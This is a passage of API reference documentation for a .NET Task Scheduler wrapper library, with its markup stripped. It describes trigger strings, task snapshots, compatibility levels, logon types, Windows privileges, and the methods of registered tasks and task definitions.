Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a 